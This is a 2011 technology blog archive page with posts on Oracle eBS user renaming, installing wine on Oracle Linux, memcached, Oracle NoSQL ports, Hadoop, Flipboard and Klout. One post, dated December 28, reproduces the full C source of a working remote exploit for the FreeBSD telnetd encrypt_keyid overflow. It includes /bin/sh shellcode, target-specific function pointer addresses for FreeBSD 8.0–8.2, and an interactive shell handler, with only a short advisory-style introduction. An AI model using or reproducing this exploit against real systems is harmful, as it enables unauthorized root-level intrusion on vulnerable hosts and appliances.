Thursday, December 29, 2011

Oracle eBS change username

Amar Padhi is running a showing a nice explanation on how to change the username of a user in Oracle eBS. I encountered this option due to the fact that I was looking into some requests from a customer which involves the mass change of a userbase in Oracle eBS. This particular customer is in need to change a large set of its usernames to be able to be compliant with internal rules and regulations concerning usernames.

The initial idea was to create new accounts and end-date the old accounts in Oracle eBS. However, it turns out that you can rename them by making use of the change_user_name function which can be found in the fnd_user_pkg package in the database.

The example Amar is using on his weblog is the example below:
begin
  fnd_user_pkg.change_user_name(
                               x_old_user_name => 'AMARKP', 
                               x_new_user_name => 'AMAR.PADHI'
                              );

  commit;
end;
/
Without much effort you could create a script to mass update all the users that are in need of an update. You do most likely would like to add some reporting, logging and notification to this script to make it robust however the use of fnd_user_pkg.change_user_name will play a central role.

Oracle Linux and wine

For all people who like to run windows applications on your Linux workstation. Most of you would do a simple apt-get or yum command however if you are running a Enterprise Linux version like the Oracle Linux you might need to do some more things to get things working. if you execute a "yum install wine" on your Oracle Linux distribution you will not end up with a successful install of wine.

To be able to install wine on Enterprise linux you will have to make use of EPEL (Extra Packages for Enterprise Linux). You can find more information on EPEL on the fedore website.

"Extra Packages for Enterprise Linux (or EPEL) is a Fedora Special Interest Group that creates, maintains, and manages a high quality set of additional packages for Enterprise Linux, including, but not limited to, Red Hat Enterprise Linux (RHEL), CentOS and Scientific Linux (SL).

EPEL packages are usually based on their Fedora counterparts and will never conflict with or replace packages in the base Enterprise Linux distributions. EPEL uses much of the same infrastructure as Fedora, including buildsystem, bugzilla instance, updates manager, mirror manager and more.
"

You will have to install the EPEL rpm, update the yum repository list and then install wine. Below is a example of the steps needed. This might change depending on the version of Oracle Linux and your processor architecture however based upon the below you will have enough to get you started;
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm
  yum repolist
  yum install wine

Wednesday, December 28, 2011

Telnetd encrypt_keyid exploit script


On the 23th of this month the guys at FreeBSD released a security alert on a bug found in the FreeBSD telnet daemon. It turns out that with some very simple tricking you are able to execute commands remotely as the user who is running the daemon (which is is many cases the user root). This is a very serious security issue and it possibly reminds some of you to some very old exploits years ago on AIX and Solaris where you also could become almost every user you would like by exploiting a telnet daemon.

Another issue with this telnet exploit is that this version of the telnet daemon is used, forked, re-forked and embedded in operating systems, software distributions and appliances which potentially are all vulnerable at this moment. Exploit scripts are available for the metasploit framework and the sourcecode of an exploit script can be found below;

/***************************************************************************
 *            telnetd-encrypt_keyid.c
 *
 *  Mon Dec 26 20:37:05 CET 2011
 *  Copyright  2011  Jaime Penalba Estebanez (NighterMan)
 *
 *  nighterman@painsec.com - jpenalbae@gmail.com
 *  Credits to batchdrake as always
 *
 *            ______      __      ________
 *          /  __  /     /_/     /  _____/
 *         /  /_/ /______________\  \_____________
 *        /  ___ / __  / / __  /  \  \/ _ \/  __/
 *       /  /   / /_/ / / / / /___/  /  __/  /__
 *  ____/__/____\__,_/_/_/ /_/______/\___/\____/____
 *
 *
 ****************************************************************************/
 
/*
 *
 * Usage:
 *
 * $ gcc exploit.c -o exploit
 *
 * $ ./exploit 127.0.0.1 23 1
 */
 
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
 
#define MAXKEYLEN 64-1
 
struct key_info
{
  unsigned char keyid[MAXKEYLEN];
  unsigned char keylen[4];
  unsigned char dir[4];
  unsigned char modep[4];
  unsigned char getcrypt[4];
};
 
 
static unsigned char shellcode[] =
   "\x31\xc0"                      // xor          %eax,%eax
   "\x50"                          // push         %eax
   "\xb0\x17"                      // mov          $0x17,%al
   "\x50"                          // push         %eax
   "\xcd\x80"                      // int          $0x80
   "\x50"                          // push         %eax
   "\x68\x6e\x2f\x73\x68"          // push         $0x68732f6e
   "\x68\x2f\x2f\x62\x69"          // push         $0x69622f2f
   "\x89\xe3"                      // mov          %esp,%ebx
   "\x50"                          // push         %eax
   "\x54"                          // push         %esp
   "\x53"                          // push         %ebx
   "\x50"                          // push         %eax
   "\xb0\x3b"                      // mov          $0x3b,%al
   "\xcd\x80";                     // int          $0x80
 
static unsigned char tnet_init_enc[] =
        "\xff\xfa\x26\x00\x01\x01\x12\x13"
        "\x14\x15\x16\x17\x18\x19\xff\xf0";
 
static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
static unsigned char tnet_end_suboption[] = "\xff\xf0";
 
 
/*
 * shell(): semi-interactive shell hack
 */
static void shell(int fd)
{
    fd_set  fds;
    char    tmp[128];
    int n;
     
    /* check uid */
    write(fd, "id\n", 3);
  
    /* semi-interactive shell */
    for (;;) {
        FD_ZERO(&fds);
        FD_SET(fd, &fds);
        FD_SET(0, &fds);
  
        if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }
  
        /* read from fd and write to stdout */
        if (FD_ISSET(fd, &fds)) {
            if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
                fprintf(stderr, "Goodbye...\n");
                break;
            }
            if (write(1, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
  
        /* read from stdin and write to fd */
        if (FD_ISSET(0, &fds)) {
            if ((n = read(0, tmp, sizeof(tmp))) < 0) {
                perror("read");
                break;
            }
            if (write(fd, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
    }
  
    close(fd);
    exit(1);
}
 
 
static int open_connection(in_addr_t dip, int dport)
{
   int pconn;
   struct sockaddr_in cdata;
   struct timeval timeout;
 
   /* timeout.tv_sec  = _opts.timeout; */
   timeout.tv_sec  = 8;
   timeout.tv_usec = 0;
 
   /* Set socket options and create it */
   cdata.sin_addr.s_addr = dip;
   cdata.sin_port = htons(dport);
   cdata.sin_family = AF_INET;
 
   pconn = socket(AF_INET, SOCK_STREAM, 0);
    
   if( pconn < 0 )
   {
      printf("Socket error: %i\n", pconn);
      printf("Err message: %s\n", strerror(errno));
      exit(-1);
   }
 
   /* Set socket timeout */
   if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0)
   {
      perror("setsockopt SO_RCVTIMEO: ");
      exit(1);
   }
    
   /* Set socket options */
   if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
           (void *)&timeout, sizeof(struct timeval)) != 0)
   {
      perror("setsockopt SO_SNDTIMEO: ");
      exit(1);
   }
 
   /* Make connection */
   if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
   {
      close(pconn);
      return -1;
   }
    
   return pconn;
}
 
 
 
static void usage(char *arg)
{
    printf("Telnetd encrypt_keyid exploit for FreeBSD\n");
    printf("NighterMan \n\n");
    printf("Usage: %s [ip] [port] [target]\n", arg);
    printf("Available Targets:\n");
    printf(" - 1: FreeBSD 8.0 & 8.1\n");
    printf(" - 2: FreeBSD 8.2\n\n");
}
 
 
 
int main(int argc, char *argv[])
{
    /* Payload Size */
    int psize = (sizeof(struct key_info) +
                sizeof(tnet_option_enc_keyid) +
                sizeof(tnet_end_suboption));
     
    struct key_info bad_struct;
    unsigned char payload[psize];
    unsigned char readbuf[256];
     
    int ret;
    int conn;
    int offset = 0;
     
    if ( argc != 4) {
        usage(argv[0]);
        return -1;
    }
     
    /* Fill the structure */
    memset(&bad_struct, 0x90, sizeof(struct key_info));
    memcpy(&bad_struct.keyid[20], shellcode, sizeof(shellcode));
    memcpy(bad_struct.keylen,   "DEAD", 4);
    memcpy(bad_struct.dir,      "BEEF", 4);
    memcpy(bad_struct.modep,    "\x6c\x6f\x05\x08", 4); /* Readable address */
     
    /* Shellcode address (function pointer overwrite) */
    switch (atoi(argv[3])) {
        case 1:
            memcpy(bad_struct.getcrypt, "\xa6\xee\x05\x08", 4);
            break;
             
        case 2:
            memcpy(bad_struct.getcrypt, "\xed\xee\x05\x08", 4);
            break;
             
        default:
            printf("Bad target\n");
            return -1;
            break;
    }
     
    /* Prepare the payload with the overflow */
    memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
    offset += sizeof(tnet_option_enc_keyid);
    memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
    offset += sizeof(bad_struct);
    memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));
     
 
    /* Open the connection */
    conn = open_connection(inet_addr(argv[1]), atoi(argv[2]));
    if (conn == -1) {
        printf("Error connecting: %i\n", errno);
        return -1;
    }
     
    /* Read initial server request */
    ret = read(conn, readbuf, 256);
    printf("[<] Succes reading intial server request %i bytes\n", ret);
     
     
    /* Send encryption and IV */
    ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
    if (ret != sizeof(tnet_init_enc)) {
        printf("Error sending init encryption: %i\n", ret);
        return -1;
    }
    printf("[>] Telnet initial encryption mode and IV sent\n");
     
    /* Read response */
    ret = read(conn, readbuf, 256);
    printf("[<] Server response: %i bytes read\n", ret);
     
    /* Send the first payload with the overflow */
    ret = write(conn, payload, psize);
    if (ret != psize) {
        printf("Error sending payload first time\n");
        return -1;
    }
    printf("[>] First payload to overwrite function pointer sent\n");
     
    /* Read Response */
    ret = read(conn, readbuf, 256);
    printf("[<] Server response: %i bytes read\n", ret);
     
     
    /* Send the payload again to tigger the function overwrite */
    ret = write(conn, payload, psize);
    if (ret != psize) {
        printf("Error sending payload second time\n");
        return -1;
    }
    printf("[>] Second payload to triger the function pointer\n");
     
     
    /* Start the semi interactive shell */
    printf("[*] got shell?\n");
    shell(conn);
     
     
    return 0;
}

Tuesday, December 27, 2011

Memcached explaind by James Phillips

A very interesting video with James Phillips who is the Chief Strategy Officer and cofounder from NorthScale. Northscale provides elastic data infrastructure software and is closely tied with the guys from couchbase and are the developed on the memcached project.

Membase was developed by several leaders of the memcached project, who had founded a company, NorthScale, expressly to meet the need for an key-value database that enjoyed all the simplicity, speed, and scalability of memcached, but also provided the storage, persistence and querying capabilities of a database. The original membase source code was contributed by NorthScale, and project co-sponsors Zynga and NHN to a new project on membase.org in June 2010.

In computing, memcached is a general-purpose distributed memory caching system that was originally developed by Danga Interactive for LiveJournal, but is now used by many other sites. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. Memcached runs on Unix, Linux, Windows and MacOSX and is distributed under a permissive free software license.
Memcached's APIs provide a giant hash table distributed across multiple machines. When the table is full, subsequent inserts cause older data to be purged in least recently used (LRU) order. Applications using Memcached typically layer requests and additions into RAM before falling back on a slower backing store, such as a database.

The system is used by sites including YouTube, Reddit, Zynga, Facebook, Orange, and Twitter. Heroku (now part of Salesforce) offers a Couchbase-managed memcached add-on service as part of their platform as a service. Google App Engine, AppScale and Amazon Web Services also offer a memcached service through an API. Memcached is also supported by some popular CMSs such as Drupal, Joomla, and WordPress.



implementing membase and the memcached API's can help you speed up your website enormously. Investigating the options in this field when you are building a high traffic website is very important and can mean the difference between success or failure in my opinion. memcache can be seen as one of the future building blocks and should be taken serious when you develop large scale web applications.

Thursday, December 22, 2011

A doodle or visual thinking

I do love whiteboards, I love scratchpads, I do love to doodle and I love to work with photoshop. even though I do love to do this I am not a very good artist as some people are and when I draw a tree everyone starts wondering what it is. However, using it to explain things is a very usefull tools. Standing in front of a whiteboard with a couple of people and blueprint a new enterprise IT landscape on a whiteboard is the best way to take the first steps in my opinion. The main reason why whiteboard vendors sell whiteboards I guess.


One other thing I do love, most of the times, is the infographics, Information graphics or infographics are graphic visual representations of information, data or knowledge. These graphics present complex information quickly and clearly. It is a real nice way to show you what people mean and explain complex systems very quickly. making them is an art in my opinion.

I always thought that just doodle something and draw your thinking on a whiteboard was something we humans are just natural to do... now I just learned that we have a very cool, fancy and hip word for it and, as it go's without saying, a way of thinking and very expensive management trainings for. It is called visual thinking; "Picture thinking, visual thinking , visual/spatial learning or right brained learning is the common phenomenon of thinking through visual processing using the part of the brain that is emotional and creative to organize information in an intuitive and simultaneous way."
I personally think it is just a cool way to display your thoughts and get things done. And if you are really really good you can make something like what Steven Johnson has done below. Making a cool video on "WHERE GOOD IDEAS COME FROM";

Wednesday, December 21, 2011

Oracle NoSQL port settings


Installing and running an Oracle NoSQL server is in no comparison with installing and running a traditional Oracle Database. Download and execute one command and you are up and running with your first node in your NoSQL cluster. (the very simple approach)

If you have not been looking at on what port is running what you might want to be able to find out where your management server is running and which port is used for your database. To find the ports it is running at you can look in the log file of your NoSQL server located at the kvroot directory and which is named in most cases snaboot_0.log

What you would be looking for a the following kind of lines;
Creating a Registry on port 127.0.0.1:5000
Starting Web service on port 5001

The first line shows you that you are running the Oracle NoSQL database at port 5000 and the second line indicates that the web service (admin console ) is running on port 5001

When taking a closer look at the logfile you might have noticed a hint to where you can change this. You have to look for a line similar to this one:
12-21-11 12:38:15:409 CET INFO [snaService] Starting, configuration file: ./kvroot/config.xml

If you check the config.xml you will notice  what you can change. This will be the main file to edit when you want to change the settings of your Oracle NoSQL node.

<config version="1">
  <component name="bootstrapParams" type="bootstrapParams">
    <property name="adminHttpPort" value="5001" type="INT"/>
    <property name="hostingAdmin" value="true" type="BOOLEAN"/>
    <property name="storeName" value="kvstore" type="STRING"/>
    <property name="storageNodeId" value="1" type="INT"/>
    <property name="hostname" value="127.0.0.1" type="STRING"/>
    <property name="haHostname" value="127.0.0.1" type="STRING"/>
    <property name="rootDir" value="./kvroot" type="STRING"/>
    <property name="haPortRange" value="5010,5020" type="STRING"/>
    <property name="registryPort" value="5000" type="INT"/>
  </component>
</config>

Friday, December 16, 2011

Google Zeitgeist 2011

When you state Zeitgeist most people will think about Zeitgeist as in the Zeitgeist movie movement and the zeitgeist movie from zeitgeistmovie.com . A less know fact is that zeitgeist (spirit of the time) is also something which is used by Google to refer to what the world has been searching on the past year(s).

"What mattered in 2011? Zeitgeist sorted billions of Google searches to capture the year's 10 fastest-rising global queries and the rest of the spirit of 2011."

As the year is coming to an end lots of radio stations, television channels and such do make a recap of the past year. Google has done so on the googlezeitgeist.com and has done so via the video below. See the world via the search requests from google:

Thursday, December 15, 2011

Hadoop explained by Mike Olson

Hadoop is a Apache project aimed to build a framework a framework for running applications on large cluster built of commodity hardware. The Hadoop framework transparently provides applications both reliability and data motion. Hadoop implements a computational paradigm named Map/Reduce, where the application is divided into many small fragments of work, each of which may be executed or re-executed on any node in the cluster. In addition, it provides a distributed file system (HDFS) that stores data on the compute nodes, providing very high aggregate bandwidth across the cluster. Both MapReduce and the Hadoop Distributed File System are designed so that node failures are automatically handled by the framework.

When we look at where the future of computing and the future of data we can see Hadoop on a very strategic location on the roadmap and within the overall framework. Hadoop is one of the ultimate building blocks in the framework which is responsible for parallelism within this framework and can be seen as one of the main engines for handling big-data.

In the below video Mike Olson is explaining some parts of the future framework of computing and explains Hadoop and some other parts in depth. Mike Olson is a the CEO of Cloudera, Cloudera is one of the leading companies who are investing in the Hadoop community.

Wednesday, December 07, 2011

FlipBoard on the iPhone

The moment I almost made my decision it is time for a new phone Mike McCue comes out with a new version of FlipBoard. For all of you who have not been working with FlipBoard already, Flipboard is a new and very quick way to read information like it was in a newspaper. For none iPad users the issue was that it was only available on the iPad. Now Mike McCue, CEO at FlipBoard announced the iPhone version.

This is making my decision to move from iPhone to Android a little harder. My phone is currently not able to keep up with the processing demand of the apps that are released and due to this I am in "need" of a faster phone. Looking at Android it made a good impression and convinced me that I would switch from iPhone to Android. The release of FlipBoard makes this however again something to consider.

Flipboard is a social magazine application and company founded in 2010 by Mike McCue and Evan Doll, based out of Palo Alto, California in the United States for Apple's iPad tablet computer. The application is designed to collect the content of social networks and other websites and present them in magazine format on the iPad. The application is designed specifically for the iPad's touch screen and allows users to "flip" through their social networking feeds and feeds from websites that have partnered with Flipboard.

Tuesday, December 06, 2011

social media hell

Every now and then I do think I will no longer be able to keep up with all the social media channels I use. Issue is that we do not have a good and correct working single integration to broadcast your message. Some applications are able to maintain some of the social media networks however I have not encounterd yet a single application that will help me keep track of all of them. If anyone has a good solution to this..... it would be a blessing in my opinion.

I do use primarily the following media social media networks:

Sunday, December 04, 2011

Klout social media monitoring

 A lot of people do wonder what their true reach is when they post things online. Is the message they broadcast really seen by other people and who are those people. You can make use of website statistics when you operate a blog or website however measuring what your social network influence is can be a little harder. For this you can use advanced corporate solutions used by companies to monitor their campaigns however if you do not have a huge budget you can also try to use Klout. Klout is a free service which will help you to analyse who is listening to your social media broadcasts and what type of social media person you are. When you look closely to the results and have a clear goal this can be a great tool help you with a social media strategy if you do not have a hughe budget.


Currently, they actively measure five networks: Twitter, Facebook, LinkedIn, Foursquare and Google+. These are just some of the actions Klout uses when determining your Klout Score:
    Twitter: Retweets and Mentions
    Facebook: Comments, Wall-Posts, Likes
    Google+: Comments, Reshares, +1
    LinkedIn: Comments, Likes
    Foursquare: Tips – Todo’s and Tips – Done

You can also connect Facebook pages, YouTube, Instagram, Tumblr, Blogger, Wordpress.com, Last.fm and Flickr accounts. These networks do not yet impact your overall Score yet. Before a network can be fully integrated into the public score it must be rigorously analyzed, normalized, and tested by our science team. Once that is ready and tested, we release it and the new network will count towards your Score. The Klout Score is also measured on a 90 day time decay so by adding these networks to you are able to benefit from a longer window of data when the score goes live.

You can find out more about how Klout is working by following the blog from Klout on corp.klout.com